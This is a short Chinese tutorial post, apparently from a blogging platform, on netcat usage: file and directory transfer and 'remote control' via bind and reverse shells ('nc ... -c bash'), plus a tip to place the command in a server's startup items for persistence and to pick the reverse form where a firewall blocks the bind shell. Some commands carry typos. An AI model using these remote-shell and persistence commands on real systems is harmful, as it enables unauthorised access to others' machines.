nc(瑞士军刀)

一、nc(瑞士军刀)

1、-v 输出详细的信息 -n 如果后面是域名不会进行dns解析(telnet)

2、文本传输:

类似于socket一个作为服务端,一个作为客户端。

服务端:nc -l -p 端口

客户端: nc -vn ip port

在电子取证的时候会用到。用 | 管道符将客户端输出的结果发送到服务端。

传输文件:

接收方: nc -lp 333>1.txt 

发送方:nc -nv 111.11.11.11 333  <2 .txr

3、目录传输

tar -cvf  - xu 

4、远程控制

方法一; nc -lp 333 -c bash(nc -vn 192.168.22.22 333)

方法二:nc -lp 333 (nc -vn -192.145.11.1 333 -c bash)

可以将该命令写成脚本,然后放在服务器的开机启动项里面。有些网站因为防火墙进制第一种方式,所以可以采用第二种方式。

在window用户中应将bash 改为cmd 

5、缺陷

1、明文传输,容易被嗅探(可以通过系统加密方法)

2、缺乏身份验证机制,不安全,容易被其他人盗用。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 目录 基础使用单向侦听双向聊天日常习惯 拓展使用正/反向域名解析传输⽂件/目录;加密传输端口扫描,获取banner...
    linx255阅读 949评论 0 1
  • netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚...
    ssdsss阅读 1,878评论 0 0
  • netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚...
    kaitoulee阅读 1,266评论 1 11
  • 安然_fc00阅读 242评论 0 0
  • 时间久了 亦觉得 那些叶子 它们顶得住万千风雨 那些风雨 它们逃走于屡屡阳光 那些阳光 它们必将罩我成长 摇摇头 ...
    影子岩阅读 292评论 0 0

友情链接更多精彩内容